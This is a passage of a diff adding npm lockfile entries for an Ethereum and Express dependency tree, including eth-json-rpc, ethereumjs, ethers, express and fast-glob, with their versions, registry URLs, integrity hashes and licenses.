13032+ "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
13033+ "license": "MIT",
13034+ "engines": {
13035+ "node": ">=4"
13036+ }
13037+ },
13038+ "node_modules/eth-json-rpc-filters": {
13039+ "version": "4.2.2",
13040+ "resolved": "https://registry.npmjs.org/eth-json-rpc-filters/-/eth-json-rpc-filters-4.2.2.tgz",
13041+ "integrity": "sha512-DGtqpLU7bBg63wPMWg1sCpkKCf57dJ+hj/k3zF26anXMzkmtSBDExL8IhUu7LUd34f0Zsce3PYNO2vV2GaTzaw==",
13042+ "license": "ISC",
13043+ "dependencies": {
13044+ "@metamask/safe-event-emitter": "^2.0.0",
13045+ "async-mutex": "^0.2.6",
13046+ "eth-json-rpc-middleware": "^6.0.0",
13047+ "eth-query": "^2.1.2",
13048+ "json-rpc-engine": "^6.1.0",
13049+ "pify": "^5.0.0"
13050+ }
13051+ },
13052+ "node_modules/eth-json-rpc-filters/node_modules/pify": {
13053+ "version": "5.0.0",
13054+ "resolved": "https://registry.npmjs.org/pify/-/pify-5.0.0.tgz",
13055+ "integrity": "sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA==",
13056+ "license": "MIT",
13057+ "engines": {
13058+ "node": ">=10"
13059+ },
13060+ "funding": {
13061+ "url": "https://github.com/sponsors/sindresorhus"
13062+ }
13063+ },
13064+ "node_modules/eth-json-rpc-infura": {
13065+ "version": "5.1.0",
13066+ "resolved": "https://registry.npmjs.org/eth-json-rpc-infura/-/eth-json-rpc-infura-5.1.0.tgz",
13067+ "integrity": "sha512-THzLye3PHUSGn1EXMhg6WTLW9uim7LQZKeKaeYsS9+wOBcamRiCQVGHa6D2/4P0oS0vSaxsBnU/J6qvn0MPdow==",
13068+ "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.",
13069+ "license": "ISC",
13070+ "dependencies": {
13071+ "eth-json-rpc-middleware": "^6.0.0",
13072+ "eth-rpc-errors": "^3.0.0",
13073+ "json-rpc-engine": "^5.3.0",
13074+ "node-fetch": "^2.6.0"
13075+ }
13076+ },
13077+ "node_modules/eth-json-rpc-infura/node_modules/json-rpc-engine": {
13078+ "version": "5.4.0",
13079+ "resolved": "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-5.4.0.tgz",
13080+ "integrity": "sha512-rAffKbPoNDjuRnXkecTjnsE3xLLrb00rEkdgalINhaYVYIxDwWtvYBr9UFbhTvPB1B2qUOLoFd/cV6f4Q7mh7g==",
13081+ "license": "ISC",
13082+ "dependencies": {
13083+ "eth-rpc-errors": "^3.0.0",
13084+ "safe-event-emitter": "^1.0.1"
13085+ }
13086+ },
13087+ "node_modules/eth-json-rpc-middleware": {
13088+ "version": "6.0.0",
13089+ "resolved": "https://registry.npmjs.org/eth-json-rpc-middleware/-/eth-json-rpc-middleware-6.0.0.tgz",
13090+ "integrity": "sha512-qqBfLU2Uq1Ou15Wox1s+NX05S9OcAEL4JZ04VZox2NS0U+RtCMjSxzXhLFWekdShUPZ+P8ax3zCO2xcPrp6XJQ==",
13091+ "license": "ISC",
13092+ "dependencies": {
13093+ "btoa": "^1.2.1",
13094+ "clone": "^2.1.1",
13095+ "eth-query": "^2.1.2",
13096+ "eth-rpc-errors": "^3.0.0",
13097+ "eth-sig-util": "^1.4.2",
13098+ "ethereumjs-util": "^5.1.2",
13099+ "json-rpc-engine": "^5.3.0",
13100+ "json-stable-stringify": "^1.0.1",
13101+ "node-fetch": "^2.6.1",
13102+ "pify": "^3.0.0",
13103+ "safe-event-emitter": "^1.0.1"
13104+ }
13105+ },
13106+ "node_modules/eth-json-rpc-middleware/node_modules/json-rpc-engine": {
13107+ "version": "5.4.0",
13108+ "resolved": "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-5.4.0.tgz",
13109+ "integrity": "sha512-rAffKbPoNDjuRnXkecTjnsE3xLLrb00rEkdgalINhaYVYIxDwWtvYBr9UFbhTvPB1B2qUOLoFd/cV6f4Q7mh7g==",
13110+ "license": "ISC",
13111+ "dependencies": {
13112+ "eth-rpc-errors": "^3.0.0",
13113+ "safe-event-emitter": "^1.0.1"
13114+ }
13115+ },
13116+ "node_modules/eth-json-rpc-middleware/node_modules/pify": {
13117+ "version": "3.0.0",
13118+ "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
13119+ "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
13120+ "license": "MIT",
13121+ "engines": {
13122+ "node": ">=4"
13123+ }
13124+ },
13125+ "node_modules/eth-query": {
13126+ "version": "2.1.2",
13127+ "resolved": "https://registry.npmjs.org/eth-query/-/eth-query-2.1.2.tgz",
13128+ "integrity": "sha512-srES0ZcvwkR/wd5OQBRA1bIJMww1skfGS0s8wlwK3/oNP4+wnds60krvu5R1QbpRQjMmpG5OMIWro5s7gvDPsA==",
13129+ "license": "ISC",
13130+ "dependencies": {
13131+ "json-rpc-random-id": "^1.0.0",
13132+ "xtend": "^4.0.1"
13133+ }
13134+ },
13135+ "node_modules/eth-rpc-errors": {
13136+ "version": "3.0.0",
13137+ "resolved": "https://registry.npmjs.org/eth-rpc-errors/-/eth-rpc-errors-3.0.0.tgz",
13138+ "integrity": "sha512-iPPNHPrLwUlR9xCSYm7HHQjWBasor3+KZfRvwEWxMz3ca0yqnlBeJrnyphkGIXZ4J7AMAaOLmwy4AWhnxOiLxg==",
13139+ "license": "MIT",
13140+ "dependencies": {
13141+ "fast-safe-stringify": "^2.0.6"
13142+ }
13143+ },
13144+ "node_modules/eth-sig-util": {
13145+ "version": "1.4.2",
13146+ "resolved": "https://registry.npmjs.org/eth-sig-util/-/eth-sig-util-1.4.2.tgz",
13147+ "integrity": "sha512-iNZ576iTOGcfllftB73cPB5AN+XUQAT/T8xzsILsghXC1o8gJUqe3RHlcDqagu+biFpYQ61KQrZZJza8eRSYqw==",
13148+ "deprecated": "Deprecated in favor of '@metamask/eth-sig-util'",
13149+ "license": "ISC",
13150+ "dependencies": {
13151+ "ethereumjs-abi": "git+https://github.com/ethereumjs/ethereumjs-abi.git",
13152+ "ethereumjs-util": "^5.1.1"
13153+ }
13154+ },
13155+ "node_modules/ethereum-common": {
13156+ "version": "0.2.0",
13157+ "resolved": "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.2.0.tgz",
13158+ "integrity": "sha512-XOnAR/3rntJgbCdGhqdaLIxDLWKLmsZOGhHdBKadEr6gEnJLH52k93Ou+TUdFaPN3hJc3isBZBal3U/XZ15abA==",
13159+ "license": "MIT"
13160+ },
13161+ "node_modules/ethereum-cryptography": {
13162+ "version": "0.1.3",
13163+ "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz",
13164+ "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==",
13165+ "license": "MIT",
13166+ "dependencies": {
13167+ "@types/pbkdf2": "^3.0.0",
13168+ "@types/secp256k1": "^4.0.1",
13169+ "blakejs": "^1.1.0",
13170+ "browserify-aes": "^1.2.0",
13171+ "bs58check": "^2.1.2",
13172+ "create-hash": "^1.2.0",
13173+ "create-hmac": "^1.1.7",
13174+ "hash.js": "^1.1.7",
13175+ "keccak": "^3.0.0",
13176+ "pbkdf2": "^3.0.17",
13177+ "randombytes": "^2.1.0",
13178+ "safe-buffer": "^5.1.2",
13179+ "scrypt-js": "^3.0.0",
13180+ "secp256k1": "^4.0.1",
13181+ "setimmediate": "^1.0.5"
13182+ }
13183+ },
13184+ "node_modules/ethereumjs-abi": {
13185+ "version": "0.6.8",
13186+ "resolved": "git+ssh://git@github.com/ethereumjs/ethereumjs-abi.git#ee3994657fa7a427238e6ba92a84d0b529bbcde0",
13187+ "license": "MIT",
13188+ "dependencies": {
13189+ "bn.js": "^4.11.8",
13190+ "ethereumjs-util": "^6.0.0"
13191+ }
13192+ },
13193+ "node_modules/ethereumjs-abi/node_modules/ethereumjs-util": {
13194+ "version": "6.2.1",
13195+ "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz",
13196+ "integrity": "sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==",
13197+ "license": "MPL-2.0",
13198+ "dependencies": {
13199+ "@types/bn.js": "^4.11.3",
13200+ "bn.js": "^4.11.0",
13201+ "create-hash": "^1.1.2",
13202+ "elliptic": "^6.5.2",
13203+ "ethereum-cryptography": "^0.1.3",
13204+ "ethjs-util": "0.1.6",
13205+ "rlp": "^2.2.3"
13206+ }
13207+ },
13208+ "node_modules/ethereumjs-account": {
13209+ "version": "2.0.5",
13210+ "resolved": "https://registry.npmjs.org/ethereumjs-account/-/ethereumjs-account-2.0.5.tgz",
13211+ "integrity": "sha512-bgDojnXGjhMwo6eXQC0bY6UK2liSFUSMwwylOmQvZbSl/D7NXQ3+vrGO46ZeOgjGfxXmgIeVNDIiHw7fNZM4VA==",
13212+ "license": "MPL-2.0",
13213+ "dependencies": {
13214+ "ethereumjs-util": "^5.0.0",
13215+ "rlp": "^2.0.0",
13216+ "safe-buffer": "^5.1.1"
13217+ }
13218+ },
13219+ "node_modules/ethereumjs-block": {
13220+ "version": "1.7.1",
13221+ "resolved": "https://registry.npmjs.org/ethereumjs-block/-/ethereumjs-block-1.7.1.tgz",
13222+ "integrity": "sha512-B+sSdtqm78fmKkBq78/QLKJbu/4Ts4P2KFISdgcuZUPDm9x+N7qgBPIIFUGbaakQh8bzuquiRVbdmvPKqbILRg==",
13223+ "deprecated": "New package name format for new versions: @ethereumjs/block. Please update.",
13224+ "license": "MPL-2.0",
13225+ "dependencies": {
13226+ "async": "^2.0.1",
13227+ "ethereum-common": "0.2.0",
13228+ "ethereumjs-tx": "^1.2.2",
13229+ "ethereumjs-util": "^5.0.0",
13230+ "merkle-patricia-tree": "^2.1.2"
13231+ }
13232+ },
13233+ "node_modules/ethereumjs-common": {
13234+ "version": "1.5.2",
13235+ "resolved": "https://registry.npmjs.org/ethereumjs-common/-/ethereumjs-common-1.5.2.tgz",
13236+ "integrity": "sha512-hTfZjwGX52GS2jcVO6E2sx4YuFnf0Fhp5ylo4pEPhEffNln7vS59Hr5sLnp3/QCazFLluuBZ+FZ6J5HTp0EqCA==",
13237+ "deprecated": "New package name format for new versions: @ethereumjs/common. Please update.",
13238+ "license": "MIT"
13239+ },
13240+ "node_modules/ethereumjs-tx": {
13241+ "version": "1.3.7",
13242+ "resolved": "https://registry.npmjs.org/ethereumjs-tx/-/ethereumjs-tx-1.3.7.tgz",
13243+ "integrity": "sha512-wvLMxzt1RPhAQ9Yi3/HKZTn0FZYpnsmQdbKYfUUpi4j1SEIcbkd9tndVjcPrufY3V7j2IebOpC00Zp2P/Ay2kA==",
13244+ "deprecated": "New package name format for new versions: @ethereumjs/tx. Please update.",
13245+ "license": "MPL-2.0",
13246+ "dependencies": {
13247+ "ethereum-common": "^0.0.18",
13248+ "ethereumjs-util": "^5.0.0"
13249+ }
13250+ },
13251+ "node_modules/ethereumjs-tx/node_modules/ethereum-common": {
13252+ "version": "0.0.18",
13253+ "resolved": "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.0.18.tgz",
13254+ "integrity": "sha512-EoltVQTRNg2Uy4o84qpa2aXymXDJhxm7eos/ACOg0DG4baAbMjhbdAEsx9GeE8sC3XCxnYvrrzZDH8D8MtA2iQ==",
13255+ "license": "MIT"
13256+ },
13257+ "node_modules/ethereumjs-util": {
13258+ "version": "5.2.1",
13259+ "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-5.2.1.tgz",
13260+ "integrity": "sha512-v3kT+7zdyCm1HIqWlLNrHGqHGLpGYIhjeHxQjnDXjLT2FyGJDsd3LWMYUo7pAFRrk86CR3nUJfhC81CCoJNNGQ==",
13261+ "license": "MPL-2.0",
13262+ "dependencies": {
13263+ "bn.js": "^4.11.0",
13264+ "create-hash": "^1.1.2",
13265+ "elliptic": "^6.5.2",
13266+ "ethereum-cryptography": "^0.1.3",
13267+ "ethjs-util": "^0.1.3",
13268+ "rlp": "^2.0.0",
13269+ "safe-buffer": "^5.1.1"
13270+ }
13271+ },
13272+ "node_modules/ethereumjs-vm": {
13273+ "version": "2.6.0",
13274+ "resolved": "https://registry.npmjs.org/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz",
13275+ "integrity": "sha512-r/XIUik/ynGbxS3y+mvGnbOKnuLo40V5Mj1J25+HEO63aWYREIqvWeRO/hnROlMBE5WoniQmPmhiaN0ctiHaXw==",
13276+ "deprecated": "New package name format for new versions: @ethereumjs/vm. Please update.",
13277+ "license": "MPL-2.0",
13278+ "dependencies": {
13279+ "async": "^2.1.2",
13280+ "async-eventemitter": "^0.2.2",
13281+ "ethereumjs-account": "^2.0.3",
13282+ "ethereumjs-block": "~2.2.0",
13283+ "ethereumjs-common": "^1.1.0",
13284+ "ethereumjs-util": "^6.0.0",
13285+ "fake-merkle-patricia-tree": "^1.0.1",
13286+ "functional-red-black-tree": "^1.0.1",
13287+ "merkle-patricia-tree": "^2.3.2",
13288+ "rustbn.js": "~0.2.0",
13289+ "safe-buffer": "^5.1.1"
13290+ }
13291+ },
13292+ "node_modules/ethereumjs-vm/node_modules/ethereumjs-block": {
13293+ "version": "2.2.2",
13294+ "resolved": "https://registry.npmjs.org/ethereumjs-block/-/ethereumjs-block-2.2.2.tgz",
13295+ "integrity": "sha512-2p49ifhek3h2zeg/+da6XpdFR3GlqY3BIEiqxGF8j9aSRIgkb7M1Ky+yULBKJOu8PAZxfhsYA+HxUk2aCQp3vg==",
13296+ "deprecated": "New package name format for new versions: @ethereumjs/block. Please update.",
13297+ "license": "MPL-2.0",
13298+ "dependencies": {
13299+ "async": "^2.0.1",
13300+ "ethereumjs-common": "^1.5.0",
13301+ "ethereumjs-tx": "^2.1.1",
13302+ "ethereumjs-util": "^5.0.0",
13303+ "merkle-patricia-tree": "^2.1.2"
13304+ }
13305+ },
13306+ "node_modules/ethereumjs-vm/node_modules/ethereumjs-block/node_modules/ethereumjs-util": {
13307+ "version": "5.2.1",
13308+ "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-5.2.1.tgz",
13309+ "integrity": "sha512-v3kT+7zdyCm1HIqWlLNrHGqHGLpGYIhjeHxQjnDXjLT2FyGJDsd3LWMYUo7pAFRrk86CR3nUJfhC81CCoJNNGQ==",
13310+ "license": "MPL-2.0",
13311+ "dependencies": {
13312+ "bn.js": "^4.11.0",
13313+ "create-hash": "^1.1.2",
13314+ "elliptic": "^6.5.2",
13315+ "ethereum-cryptography": "^0.1.3",
13316+ "ethjs-util": "^0.1.3",
13317+ "rlp": "^2.0.0",
13318+ "safe-buffer": "^5.1.1"
13319+ }
13320+ },
13321+ "node_modules/ethereumjs-vm/node_modules/ethereumjs-tx": {
13322+ "version": "2.1.2",
13323+ "resolved": "https://registry.npmjs.org/ethereumjs-tx/-/ethereumjs-tx-2.1.2.tgz",
13324+ "integrity": "sha512-zZEK1onCeiORb0wyCXUvg94Ve5It/K6GD1K+26KfFKodiBiS6d9lfCXlUKGBBdQ+bv7Day+JK0tj1K+BeNFRAw==",
13325+ "deprecated": "New package name format for new versions: @ethereumjs/tx. Please update.",
13326+ "license": "MPL-2.0",
13327+ "dependencies": {
13328+ "ethereumjs-common": "^1.5.0",
13329+ "ethereumjs-util": "^6.0.0"
13330+ }
13331+ },
13332+ "node_modules/ethereumjs-vm/node_modules/ethereumjs-util": {
13333+ "version": "6.2.1",
13334+ "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz",
13335+ "integrity": "sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==",
13336+ "license": "MPL-2.0",
13337+ "dependencies": {
13338+ "@types/bn.js": "^4.11.3",
13339+ "bn.js": "^4.11.0",
13340+ "create-hash": "^1.1.2",
13341+ "elliptic": "^6.5.2",
13342+ "ethereum-cryptography": "^0.1.3",
13343+ "ethjs-util": "0.1.6",
13344+ "rlp": "^2.2.3"
13345+ }
13346+ },
13347+ "node_modules/ethers": {
13348+ "version": "5.8.0",
13349+ "resolved": "https://registry.npmjs.org/ethers/-/ethers-5.8.0.tgz",
13350+ "integrity": "sha512-DUq+7fHrCg1aPDFCHx6UIPb3nmt2XMpM7Y/g2gLhsl3lIBqeAfOJIl1qEvRf2uq3BiKxmh6Fh5pfp2ieyek7Kg==",
13351+ "funding": [
13352+ {
13353+ "type": "individual",
13354+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
13355+ },
13356+ {
13357+ "type": "individual",
13358+ "url": "https://www.buymeacoffee.com/ricmoo"
13359+ }
13360+ ],
13361+ "license": "MIT",
13362+ "dependencies": {
13363+ "@ethersproject/abi": "5.8.0",
13364+ "@ethersproject/abstract-provider": "5.8.0",
13365+ "@ethersproject/abstract-signer": "5.8.0",
13366+ "@ethersproject/address": "5.8.0",
13367+ "@ethersproject/base64": "5.8.0",
13368+ "@ethersproject/basex": "5.8.0",
13369+ "@ethersproject/bignumber": "5.8.0",
13370+ "@ethersproject/bytes": "5.8.0",
13371+ "@ethersproject/constants": "5.8.0",
13372+ "@ethersproject/contracts": "5.8.0",
13373+ "@ethersproject/hash": "5.8.0",
13374+ "@ethersproject/hdnode": "5.8.0",
13375+ "@ethersproject/json-wallets": "5.8.0",
13376+ "@ethersproject/keccak256": "5.8.0",
13377+ "@ethersproject/logger": "5.8.0",
13378+ "@ethersproject/networks": "5.8.0",
13379+ "@ethersproject/pbkdf2": "5.8.0",
13380+ "@ethersproject/properties": "5.8.0",
13381+ "@ethersproject/providers": "5.8.0",
13382+ "@ethersproject/random": "5.8.0",
13383+ "@ethersproject/rlp": "5.8.0",
13384+ "@ethersproject/sha2": "5.8.0",
13385+ "@ethersproject/signing-key": "5.8.0",
13386+ "@ethersproject/solidity": "5.8.0",
13387+ "@ethersproject/strings": "5.8.0",
13388+ "@ethersproject/transactions": "5.8.0",
13389+ "@ethersproject/units": "5.8.0",
13390+ "@ethersproject/wallet": "5.8.0",
13391+ "@ethersproject/web": "5.8.0",
13392+ "@ethersproject/wordlists": "5.8.0"
13393+ }
13394+ },
13395+ "node_modules/ethjs-util": {
13396+ "version": "0.1.6",
13397+ "resolved": "https://registry.npmjs.org/ethjs-util/-/ethjs-util-0.1.6.tgz",
13398+ "integrity": "sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==",
13399+ "license": "MIT",
13400+ "dependencies": {
13401+ "is-hex-prefixed": "1.0.0",
13402+ "strip-hex-prefix": "1.0.0"
13403+ },
13404+ "engines": {
13405+ "node": ">=6.5.0",
13406+ "npm": ">=3"
13407+ }
13408+ },
13409+ "node_modules/eventemitter3": {
13410+ "version": "4.0.7",
13411+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
13412+ "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==",
13413+ "license": "MIT"
13414+ },
13415+ "node_modules/events": {
13416+ "version": "3.3.0",
13417+ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
13418+ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
13419+ "license": "MIT",
13420+ "engines": {
13421+ "node": ">=0.8.x"
13422+ }
13423+ },
13424+ "node_modules/evp_bytestokey": {
13425+ "version": "1.0.3",
13426+ "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz",
13427+ "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
13428+ "license": "MIT",
13429+ "dependencies": {
13430+ "md5.js": "^1.3.4",
13431+ "safe-buffer": "^5.1.1"
13432+ }
13433+ },
13434+ "node_modules/execa": {
13435+ "version": "5.1.1",
13436+ "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz",
13437+ "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==",
13438+ "license": "MIT",
13439+ "dependencies": {
13440+ "cross-spawn": "^7.0.3",
13441+ "get-stream": "^6.0.0",
13442+ "human-signals": "^2.1.0",
13443+ "is-stream": "^2.0.0",
13444+ "merge-stream": "^2.0.0",
13445+ "npm-run-path": "^4.0.1",
13446+ "onetime": "^5.1.2",
13447+ "signal-exit": "^3.0.3",
13448+ "strip-final-newline": "^2.0.0"
13449+ },
13450+ "engines": {
13451+ "node": ">=10"
13452+ },
13453+ "funding": {
13454+ "url": "https://github.com/sindresorhus/execa?sponsor=1"
13455+ }
13456+ },
13457+ "node_modules/exit": {
13458+ "version": "0.1.2",
13459+ "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz",
13460+ "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==",
13461+ "engines": {
13462+ "node": ">= 0.8.0"
13463+ }
13464+ },
13465+ "node_modules/expect": {
13466+ "version": "30.2.0",
13467+ "resolved": "https://registry.npmjs.org/expect/-/expect-30.2.0.tgz",
13468+ "integrity": "sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw==",
13469+ "license": "MIT",
13470+ "dependencies": {
13471+ "@jest/expect-utils": "30.2.0",
13472+ "@jest/get-type": "30.1.0",
13473+ "jest-matcher-utils": "30.2.0",
13474+ "jest-message-util": "30.2.0",
13475+ "jest-mock": "30.2.0",
13476+ "jest-util": "30.2.0"
13477+ },
13478+ "engines": {
13479+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
13480+ }
13481+ },
13482+ "node_modules/express": {
13483+ "version": "4.22.1",
13484+ "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",
13485+ "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==",
13486+ "license": "MIT",
13487+ "dependencies": {
13488+ "accepts": "~1.3.8",
13489+ "array-flatten": "1.1.1",
13490+ "body-parser": "~1.20.3",
13491+ "content-disposition": "~0.5.4",
13492+ "content-type": "~1.0.4",
13493+ "cookie": "~0.7.1",
13494+ "cookie-signature": "~1.0.6",
13495+ "debug": "2.6.9",
13496+ "depd": "2.0.0",
13497+ "encodeurl": "~2.0.0",
13498+ "escape-html": "~1.0.3",
13499+ "etag": "~1.8.1",
13500+ "finalhandler": "~1.3.1",
13501+ "fresh": "~0.5.2",
13502+ "http-errors": "~2.0.0",
13503+ "merge-descriptors": "1.0.3",
13504+ "methods": "~1.1.2",
13505+ "on-finished": "~2.4.1",
13506+ "parseurl": "~1.3.3",
13507+ "path-to-regexp": "~0.1.12",
13508+ "proxy-addr": "~2.0.7",
13509+ "qs": "~6.14.0",
13510+ "range-parser": "~1.2.1",
13511+ "safe-buffer": "5.2.1",
13512+ "send": "~0.19.0",
13513+ "serve-static": "~1.16.2",
13514+ "setprototypeof": "1.2.0",
13515+ "statuses": "~2.0.1",
13516+ "type-is": "~1.6.18",
13517+ "utils-merge": "1.0.1",
13518+ "vary": "~1.1.2"
13519+ },
13520+ "engines": {
13521+ "node": ">= 0.10.0"
13522+ },
13523+ "funding": {
13524+ "type": "opencollective",
13525+ "url": "https://opencollective.com/express"
13526+ }
13527+ },
13528+ "node_modules/express-fileupload": {
13529+ "version": "1.5.2",
13530+ "resolved": "https://registry.npmjs.org/express-fileupload/-/express-fileupload-1.5.2.tgz",
13531+ "integrity": "sha512-wxUJn2vTHvj/kZCVmc5/bJO15C7aSMyHeuXYY3geKpeKibaAoQGcEv5+sM6nHS2T7VF+QHS4hTWPiY2mKofEdg==",
13532+ "license": "MIT",
13533+ "dependencies": {
13534+ "busboy": "^1.6.0"
13535+ },
13536+ "engines": {
13537+ "node": ">=12.0.0"
13538+ }
13539+ },
13540+ "node_modules/extend": {
13541+ "version": "3.0.2",
13542+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
13543+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
13544+ "license": "MIT"
13545+ },
13546+ "node_modules/extend-shallow": {
13547+ "version": "2.0.1",
13548+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
13549+ "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
13550+ "license": "MIT",
13551+ "dependencies": {
13552+ "is-extendable": "^0.1.0"
13553+ },
13554+ "engines": {
13555+ "node": ">=0.10.0"
13556+ }
13557+ },
13558+ "node_modules/extend-shallow/node_modules/is-extendable": {
13559+ "version": "0.1.1",
13560+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
13561+ "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
13562+ "license": "MIT",
13563+ "engines": {
13564+ "node": ">=0.10.0"
13565+ }
13566+ },
13567+ "node_modules/extsprintf": {
13568+ "version": "1.3.0",
13569+ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
13570+ "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==",
13571+ "engines": [
13572+ "node >=0.6.0"
13573+ ],
13574+ "license": "MIT"
13575+ },
13576+ "node_modules/fake-merkle-patricia-tree": {
13577+ "version": "1.0.1",
13578+ "resolved": "https://registry.npmjs.org/fake-merkle-patricia-tree/-/fake-merkle-patricia-tree-1.0.1.tgz",
13579+ "integrity": "sha512-Tgq37lkc9pUIgIKw5uitNUKcgcYL3R6JvXtKQbOf/ZSavXbidsksgp/pAY6p//uhw0I4yoMsvTSovvVIsk/qxA==",
13580+ "license": "ISC",
13581+ "dependencies": {
13582+ "checkpoint-store": "^1.1.0"
13583+ }
13584+ },
13585+ "node_modules/fast-deep-equal": {
13586+ "version": "3.1.3",
13587+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
13588+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
13589+ "license": "MIT"
13590+ },
13591+ "node_modules/fast-glob": {
13592+ "version": "3.3.3",
13593+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
13594+ "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",
13595+ "license": "MIT",
13596+ "dependencies": {
13597+ "@nodelib/fs.stat": "^2.0.2",
13598+ "@nodelib/fs.walk": "^1.2.3",
13599+ "glob-parent": "^5.1.2",
13600+ "merge2": "^1.3.0",
13601+ "micromatch": "^4.0.8"
13602+ },
13603+ "engines": {
13604+ "node": ">=8.6.0"
13605+ }
13606+ },
13607+ "node_modules/fast-glob/node_modules/glob-parent": {
13608+ "version": "5.1.2",
13609+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
13610+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
13611+ "license": "ISC",
13612+ "dependencies": {
13613+ "is-glob": "^4.0.1"
13614+ },
13615+ "engines": {
13616+ "node": ">= 6"
13617+ }
13618+ },
13619+ "node_modules/fast-json-stable-stringify": {
13620+ "version": "2.1.0",
13621+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
13622+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
13623+ "license": "MIT"
13624+ },
13625+ "node_modules/fast-levenshtein": {
13626+ "version": "2.0.6",
